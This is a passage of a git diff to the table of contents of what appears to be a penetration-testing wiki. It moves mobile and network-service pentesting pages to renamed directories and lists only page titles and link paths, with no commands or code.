Hijacking](mobile-apps-pentesting/android-app-pentesting/android-task-hijacking.md) - * [ADB Commands](mobile-apps-pentesting/android-app-pentesting/adb-commands.md) - * [APK decompilers](mobile-apps-pentesting/android-app-pentesting/apk-decompilers.md) - * [AVD - Android Virtual Device](mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md) - * [Burp Suite Configuration for Android](mobile-apps-pentesting/android-app-pentesting/android-burp-suite-settings.md) - * [content:// protocol](mobile-apps-pentesting/android-app-pentesting/content-protocol.md) - * [Drozer Tutorial](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md) - * [Exploiting Content Providers](mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - * [Exploiting a debuggeable applciation](mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) - * [Frida Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md) - * [Frida Tutorial 1](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - * [Frida Tutorial 2](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) - * [Frida Tutorial 3](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - * [Objection Tutorial](mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - * [Google CTF 2018 - Shall We Play a Game?](mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) - * [Inspeckage Tutorial](mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md) - * [Intent Injection](mobile-apps-pentesting/android-app-pentesting/intent-injection.md) - * [Make APK Accept CA Certificate](mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) - * [Manual DeObfuscation](mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md) - * [React Native Application](mobile-apps-pentesting/android-app-pentesting/react-native-application.md) - * [Reversing Native Libraries](mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md) - * [Smali - Decompiling/\[Modifying\]/Compiling](mobile-apps-pentesting/android-app-pentesting/smali-changes.md) - * [Spoofing your location in Play Store](mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - * [Webview Attacks](mobile-apps-pentesting/android-app-pentesting/webview-attacks.md) -* [iOS Pentesting Checklist](mobile-apps-pentesting/ios-pentesting-checklist.md) -* [iOS Pentesting](mobile-apps-pentesting/ios-pentesting/README.md) - * [Basic iOS Testing Operations](mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md) - * [Burp Suite Configuration for iOS](mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md) - * [Extracting Entitlements From Compiled Application](mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - * [Frida Configuration in iOS](mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md) - * [iOS App Extensions](mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md) - * [iOS Basics](mobile-apps-pentesting/ios-pentesting/ios-basics.md) - * [iOS Custom URI Handlers / Deeplinks / Custom Schemes](mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md) - * [iOS Hooking With Objection](mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md) - * [iOS Protocol Handlers](mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md) - * [iOS Serialisation and Encoding](mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - * [iOS Testing Environment](mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md) - * [iOS UIActivity Sharing](mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md) - * [iOS Universal Links](mobile-apps-pentesting/ios-pentesting/ios-universal-links.md) - * [iOS UIPasteboard](mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md) - * [iOS WebViews](mobile-apps-pentesting/ios-pentesting/ios-webviews.md) +* [Android APK Checklist](mobile-pentesting/android-checklist.md) +* [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md) + * [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md) + * [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md) + * [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md) + * [APK decompilers](mobile-pentesting/android-app-pentesting/apk-decompilers.md) + * [AVD - Android Virtual Device](mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md) + * [Burp Suite Configuration for Android](mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md) + * [content:// protocol](mobile-pentesting/android-app-pentesting/content-protocol.md) + * [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) + * [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) + * [Exploiting a debuggeable applciation](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + * [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) + * [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) + * [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) + * [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) + * [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) + * [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + * [Inspeckage Tutorial](mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md) + * [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) + * [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) + * [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) + * [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) + * [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) + * [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + * [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) + * [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) +* [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) +* [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) + * [Basic iOS Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) + * [Burp Suite Configuration for iOS](mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md) + * [Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) + * [Frida Configuration in iOS](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) + * [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) + * [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) + * [iOS Custom URI Handlers / Deeplinks / Custom Schemes](mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md) + * [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + * [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) + * [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) + * [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) + * [iOS UIActivity Sharing](mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md) + * [iOS Universal Links](mobile-pentesting/ios-pentesting/ios-universal-links.md) + * [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md) + * [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md) -# Pentesting +## 👽 Network Services Pentesting -* [Pentesting Network](pentesting/pentesting-network/README.md) - * [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - * [Spoofing SSDP and UPnP Devices with EvilSSDP](pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md) - * [Pentesting IPv6](pentesting/pentesting-network/pentesting-ipv6.md) - * [Nmap Summary (ESP)](pentesting/pentesting-network/nmap-summary-esp.md) - * [Network Protocols Explained (ESP)](pentesting/pentesting-network/network-protocols-explained-esp.md) - * [IDS and IPS Evasion](pentesting/pentesting-network/ids-evasion.md) - * [DHCPv6](pentesting/pentesting-network/dhcpv6.md) -* [Pentesting Wifi](pentesting/pentesting-wifi/README.md) - * [Evil Twin EAP-TLS](pentesting/pentesting-wifi/evil-twin-eap-tls.md) -* [Pentesting JDWP - Java Debug Wire Protocol](pentesting/pentesting-jdwp-java-debug-wire-protocol.md) -* [Pentesting Printers](pentesting/pentesting-printers/README.md) - * [Accounting bypass](pentesting/pentesting-printers/accounting-bypass.md) - * [Buffer Overflows](pentesting/pentesting-printers/buffer-overflows.md) - * [Credentials Disclosure / Brute-Force](pentesting/pentesting-printers/credentials-disclosure-brute-force.md) - * [Cross-Site Printing](pentesting/pentesting-printers/cross-site-printing.md) - * [Document Processing](pentesting/pentesting-printers/document-processing.md) - * [Factory Defaults](pentesting/pentesting-printers/factory-defaults.md) - * [File system access](pentesting/pentesting-printers/file-system-access.md) - * [Firmware updates](pentesting/pentesting-printers/firmware-updates.md) - * [Memory Access](pentesting/pentesting-printers/memory-access.md) - * [Physical Damage](pentesting/pentesting-printers/physical-damage.md) - * [Software packages](pentesting/pentesting-printers/software-packages.md) - * [Transmission channel](pentesting/pentesting-printers/transmission-channel.md) - * [Print job manipulation](pentesting/pentesting-printers/print-job-manipulation.md) - * [Print Job Retention](pentesting/pentesting-printers/print-job-retention.md) - * [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md) -* [Pentesting SAP](pentesting/pentesting-sap.md) -* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md) -* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md) - * [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md) - * [FTP Bounce - Download 2ºFTP file](pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md) -* [22 - Pentesting SSH/SFTP](pentesting/pentesting-ssh.md) -* [23 - Pentesting Telnet](pentesting/pentesting-telnet.md) -* [25,465,587 - Pentesting SMTP/s](pentesting/pentesting-smtp/README.md) - * [SMTP - Commands](pentesting/pentesting-smtp/smtp-commands.md) -* [43 - Pentesting WHOIS](pentesting/43-pentesting-whois.md) -* [53 - Pentesting DNS](pentesting/pentesting-dns.md) -* [69/UDP TFTP/Bittorrent-tracker](pentesting/69-udp-tftp.md) -* [79 - Pentesting Finger](pentesting/pentesting-finger.md) -* [80,443 - Pentesting Web Methodology](pentesting/pentesting-web/README.md) - * [403 & 401 Bypasses](pentesting/pentesting-web/403-and-401-bypasses.md) - * [AEM - Adobe Experience Cloud](pentesting/pentesting-web/aem-adobe-experience-cloud.md) - * [Apache](pentesting/pentesting-web/apache.md) - * [Artifactory Hacking guide](pentesting/pentesting-web/artifactory-hacking-guide.md) - * [Buckets](pentesting/pentesting-web/buckets/README.md) - * [Firebase Database](pentesting/pentesting-web/buckets/firebase-database.md) - * [AWS-S3](pentesting/pentesting-web/buckets/aws-s3.md) - * [CGI](pentesting/pentesting-web/cgi.md) - * [Code Review Tools](pentesting/pentesting-web/code-review-tools.md) - * [Drupal](pentesting/pentesting-web/drupal.md) - * [Flask](pentesting/pentesting-web/flask.md) - * [Git](pentesting/pentesting-web/git.md) - * [Golang](pentesting/pentesting-web/golang.md) - * [GraphQL](pentesting/pentesting-web/graphql.md) - * [H2 - Java SQL database](pentesting/pentesting-web/h2-java-sql-database.md) - * [IIS - Internet Information Services](pentesting/pentesting-web/iis-internet-information-services.md) - * [JBOSS](pentesting/pentesting-web/jboss.md) - * [JIRA](pentesting/pentesting-web/jira.md) - * [Joomla](pentesting/pentesting-web/joomla.md) - * [JSP](pentesting/pentesting-web/jsp.md) - * [Laravel](pentesting/pentesting-web/laravel.md) - * [Moodle](pentesting/pentesting-web/moodle.md) - * [Nginx](pentesting/pentesting-web/nginx.md) - * [PHP Tricks (SPA)](pentesting/pentesting-web/php-tricks-esp/README.md) - * [PHP - Useful Functions & disable\_functions/open\_basedir bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/README.md) - * [disable\_functions bypass - php-fpm/FastCGI](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md) - * [disable\_functions bypass - dl function](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-dl-function.md) - * [disable\_functions bypass - PHP 7.0-7.4 (\*nix only)](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-7.0-7.4-nix-only.md) - * [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - * [disable\_functions - PHP 5.x Shellshock Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.x-shellshock-exploit.md) - * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.2.4-ioncube-extension-exploit.md) - * [disable\_functions bypass - PHP <= 5.2.9 on windows](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-less-than-5.2.9-on-windows.md) - * [disable\_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - * [disable\_functions bypass - PHP safe\_mode bypass via proc\_open() and custom environment Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-safe\_mode-bypass-via-proc\_open-and-custom-environment-exploit.md) - * [disable\_functions bypass - PHP Perl Extension Safe\_mode Bypass Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md) - * [disable\_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - * [disable\_functions bypass - PHP 5.2 - FOpen Exploit](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-5.2-fopen-exploit.md) - * [disable\_functions bypass - via mem](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-via-mem.md) - * [disable\_functions bypass - mod\_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-mod\_cgi.md) - * [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl\_exec.md) - * [Python](pentesting/pentesting-web/python.md) - * [Special HTTP headers](pentesting/pentesting-web/special-http-headers.md) - * [Spring Actuators](pentesting/pentesting-web/spring-actuators.md) - * [Symphony](pentesting/pentesting-web/symphony.md) - * [Tomcat](pentesting/pentesting-web/tomcat.md) - * [Uncovering CloudFlare](pentesting/pentesting-web/uncovering-cloudflare.md) - * [VMWare (ESX, VCenter...)](pentesting/pentesting-web/vmware-esx-vcenter....md) - * [Web API Pentesting](pentesting/pentesting-web/web-api-pentesting.md) - * [WebDav](pentesting/pentesting-web/put-method-webdav.md) - * [werkzeug](pentesting/pentesting-web/werkzeug.md) - * [Wordpress](pentesting/pentesting-web/wordpress.md) - * [XSS to RCE Electron Desktop Apps](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md) - * [Electron contextIsolation RCE via preload code](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md) - * [Electron contextIsolation RCE via Electron internal code](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md) - * [Electron contextIsolation RCE via IPC](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md) -* [88tcp/udp - Pentesting Kerberos](pentesting/pentesting-kerberos-88/README.md) - * [Harvesting tickets from Windows](pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - * [Harvesting tickets from Linux](pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) -* [110,995 - Pentesting POP](pentesting/pentesting-pop.md) -* [111/TCP/UDP - Pentesting Portmapper](pentesting/pentesting-rpcbind.md) -* [113 - Pentesting Ident](pentesting/113-pentesting-ident.md) -* [123/udp - Pentesting NTP](pentesting/pentesting-ntp.md) -* [135, 593 - Pentesting MSRPC](pentesting/135-pentesting-msrpc.md) -* [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md) -* [139,445 - Pentesting SMB](pentesting/pentesting-smb.md) -* [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md) -* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md) - * [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md) -* [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md) -* [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md) -* [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md) -* [500/udp - Pentesting IPsec/IKE VPN](pentesting/ipsec-ike-vpn-pentesting.md) -* [502 - Pentesting Modbus](pentesting/pentesting-modbus.md) -* [512 - Pentesting Rexec](pentesting/512-pentesting-rexec.md) -* [513 - Pentesting Rlogin](pentesting/pentesting-rlogin.md) -* [514 - Pentesting Rsh](pentesting/pentesting-rsh.md) -* [515 - Pentesting Line Printer Daemon (LPD)](pentesting/515-pentesting-line-printer-daemon-lpd.md) -* [548 - Pentesting Apple Filing Protocol (AFP)](pentesting/584-pentesting-afp.md) -* [554,8554 - Pentesting RTSP](pentesting/554-8554-pentesting-rtsp.md) -* [623/UDP/TCP - IPMI](pentesting/623-udp-ipmi.md) -* [631 - Internet Printing Protocol(IPP)](pentesting/pentesting-631-internet-printing-protocol-ipp.md) -* [873 - Pentesting Rsync](pentesting/873-pentesting-rsync.md) -* [1026 - Pentesting Rusersd](pentesting/1026-pentesting-rusersd.md) -* [1080 - Pentesting Socks](pentesting/1080-pentesting-socks.md) -* [1098/1099/1050 - Pentesting Java RMI - RMI-IIOP](pentesting/1099-pentesting-java-rmi.md) -* [1433 - Pentesting MSSQL - Microsoft SQL Server](pentesting/pentesting-mssql-microsoft-sql-server.md) -* [1521,1522-1529 - Pentesting Oracle TNS Listener](pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - * [Oracle Pentesting requirements installation](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) - * [TNS Poison](pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md) - * [Remote stealth pass brute force](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md) - * [Oracle RCE & more](pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md) -* [1723 - Pentesting PPTP](pentesting/1723-pentesting-pptp.md) -* [1883 - Pentesting MQTT (Mosquitto)](pentesting/1883-pentesting-mqtt-mosquitto.md) -* [2049 - Pentesting NFS Service](pentesting/nfs-service-pentesting.md) -* [2301,2381 - Pentesting Compaq/HP Insight Manager](pentesting/pentesting-compaq-hp-insight-manager.md) -* [2375, 2376 Pentesting Docker](pentesting/2375-pentesting-docker.md) -* [3128 - Pentesting Squid](pentesting/3128-pentesting-squid.md) -* [3260 - Pentesting ISCSI](pentesting/3260-pentesting-iscsi.md) -* [3299 - Pentesting SAPRouter](pentesting/3299-pentesting-saprouter.md) -* [3306 - Pentesting Mysql](pentesting/pentesting-mysql.md) -* [3389 - Pentesting RDP](pentesting/pentesting-rdp.md) -* [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md) -* [3690 - Pentesting Subversion (svn server)](pentesting/3690-pentesting-subversion-svn-server.md) -* [3702/UDP - Pentesting WS-Discovery](pentesting/3702-udp-pentesting-ws-discovery.md) -* [4369 - Pentesting Erlang Port Mapper Daemon (epmd)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md) -* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md) -* [5353/UDP Multicast DNS (mDNS) and DNS-SD](pentesting/5353-udp-multicast-dns-mdns.md) -* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md) -* [5555 - Android Debug Bridge](pentesting/5555-android-debug-bridge.md) -* [5601 - Pentesting Kibana](pentesting/5601-pentesting-kibana.md) -* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md) -* [5800,5801,5900,5901 - Pentesting VNC](pentesting/pentesting-vnc.md) -* [5984,6984 - Pentesting CouchDB](pentesting/5984-pentesting-couchdb.md) -* [5985,5986 - Pentesting WinRM](pentesting/5985-5986-pentesting-winrm.md) -* [5985,5986 - Pentesting OMI](pentesting/5985-5986-pentesting-omi.md) -* [6000 - Pentesting X11](pentesting/6000-pentesting-x11.md) -* [6379 - Pentesting Redis](pentesting/6379-pentesting-redis.md) -* [8009 - Pentesting Apache JServ Protocol (AJP)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md) -* [8086 - Pentesting InfluxDB](pentesting/8086-pentesting-influxdb.md) -* [8089 - Pentesting Splunkd](pentesting/8089-splunkd.md) -* [8333,18333,38333,18444 - Pentesting Bitcoin](pentesting/8333-18333-38333-18444-pentesting-bitcoin.md) -* [9000 - Pentesting FastCGI](pentesting/9000-pentesting-fastcgi.md) -* [9001 - Pentesting HSQLDB](pentesting/9001-pentesting-hsqldb.md) -* [9042/9160 - Pentesting Cassandra](pentesting/cassandra.md) -* [9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)](pentesting/9100-pjl.md) -* [9200 - Pentesting Elasticsearch](pentesting/9200-pentesting-elasticsearch.md) -* [10000 - Pentesting Network Data Management Protocol (ndmp)](pentesting/10000-network-data-management-protocol-ndmp.md) -* [11211 - Pentesting Memcache](pentesting/11211-memcache.md) -* [15672 - Pentesting RabbitMQ Management](pentesting/15672-pentesting-rabbitmq-management.md) -* [24007,24008,24009,49152 - Pentesting GlusterFS](pentesting/24007-24008-24009-49152-pentesting-glusterfs.md) -* [27017,27018 - Pentesting MongoDB](pentesting/27017-27018-mongodb.md) -* [44134 - Pentesting Tiller (Helm)](pentesting/44134-pentesting-tiller-helm.md) -* [44818/UDP/TCP - Pentesting EthernetIP](pentesting/44818-ethernetip.md) -* [47808/udp - Pentesting BACNet](pentesting/47808-udp-bacnet.md) -* [50030,50060,50070,50075,50090 - Pentesting Hadoop](pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md) -* [Pentesting Remote GdbServer](pentesting/pentesting-remote-gdbserver.md) +* [Pentesting JDWP - Java Debug Wire Protocol](network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md) +* [Pentesting Printers](network-services-pentesting/pentesting-printers/README.md) + * [Accounting bypass](network-services-pentesting/pentesting-printers/accounting-bypass.md) + * [Buffer Overflows](network-services-pentesting/pentesting-printers/buffer-overflows.md) + * [Credentials Disclosure / Brute-Force](network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md) + * [Cross-Site Printing](network-services-pentesting/pentesting-printers/cross-site-printing.md) + * [Document Processing](network-services-pentesting/pentesting-printers/document-processing.md) + * [Factory Defaults](network-services-pentesting/pentesting-printers/factory-defaults.md) + * [File system access](network-services-pentesting/pentesting-printers/file-system-access.md) + * [Firmware updates](network-services-pentesting/pentesting-printers/firmware-updates.md) + * [Memory Access](network-services-pentesting/pentesting-printers/memory-access.md) + * [Physical Damage](network-services-pentesting/pentesting-printers/physical-damage.md) + * [Software packages](network-services-pentesting/pentesting-printers/software-packages.md) + * [Transmission channel](network-services-pentesting/pentesting-printers/transmission-channel.md) + * [Print job manipulation](network-services-pentesting/pentesting-printers/print-job-manipulation.md) + * [Print Job Retention](network-services-pentesting/pentesting-printers/print-job-retention.md) + * [Scanner and Fax](network-services-pentesting/pentesting-printers/scanner-and-fax.md) +* [Pentesting SAP](network-services-pentesting/pentesting-sap.md) +* [Pentesting Remote GdbServer](network-services-pentesting/pentesting-remote-gdbserver.md) +* [7/tcp/udp - Pentesting Echo](network-services-pentesting/7-tcp-udp-pentesting-echo.md) +* [21 - Pentesting FTP](network-services-pentesting/pentesting-ftp/README.md) + * [FTP Bounce attack - Scan](network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md) + * [FTP Bounce - Download 2ºFTP file](network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md) +* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md) +* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md) +* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md) + * [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md) +* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md) +* [53 - Pentesting DNS](network-services-pentesting/pentesting-dns.md) +* [69/UDP TFTP/Bittorrent-tracker](network-services-pentesting/69-udp-tftp.md) +* [79 - Pentesting Finger](network-services-pentesting/pentesting-finger.md) +* [80,443 - Pentesting Web Methodology](network-services-pentesting/pentesting-web/README.md) + * [403 & 401 Bypasses](network-services-pentesting/pentesting-web/403-and-401-bypasses.md) + * [AEM - Adobe Experience Cloud](network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md) + * [Apache](network-services-pentesting/pentesting-web/apache.md) + * [Artifactory Hacking guide](network-services-pentesting/pentesting-web/artifactory-hacking-guide.md) + * [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) + * [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) + * [AWS-S3](network-services-pentesting/pentesting-web/buckets/aws-s3.md) + * [CGI](network-services-pentesting/pentesting-web/cgi.md) + * [Code Review Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + * [Drupal](network-services-pentesting/pentesting-web/drupal.md) + * [Flask](network-services-pentesting/pentesting-web/flask.md) + * [Git](network-services-pentesting/pentesting-web/git.md) + * [Golang](network-services-pentesting/pentesting-web/golang.md) + * [GraphQL](network-services-pentesting/pentesting-web/graphql.md) + * [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) + * [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) + * [JBOSS](network-services-pentesting/pentesting-web/jboss.md) + * [JIRA](network-services-pentesting/pentesting-web/jira.md) + * [Joomla](network-services-pentesting/pentesting-web/joomla.md) + * [JSP](network-services-pentesting/pentesting-web/jsp.md) + * [Laravel](network-services-pentesting/pentesting-web/laravel.md) + * [Moodle](network-services-pentesting/pentesting-web/moodle.md) + * [Nginx](network-services-pentesting/pentesting-web/nginx.md) + * [PHP Tricks (SPA)](network-services-pentesting/pentesting-web/php-tricks-esp/README.md) + * [PHP - Useful Functions & disable\_functions/open\_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/README.md) + * [disable\_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md) + * [disable\_functions bypass - dl function](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-dl-function.md) + * [disable\_functions bypass - PHP 7.0-7.4 (\*nix only)](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-7.0-7.4-nix-only.md) + * [disable\_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) + * [disable\_functions - PHP 5.x Shellshock Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.x-shellshock-exploit.md) + * [disable\_functions - PHP 5.2.4 ionCube extension Exploit](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-php-5.2.4-ioncube-extension-exploit.md) + * [disable\_functions bypass - PHP <= 5.2.9 on windows](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-less-than-5.2.9-on-windows.md) + * [disable\_functions bypass - PHP 5.2.4 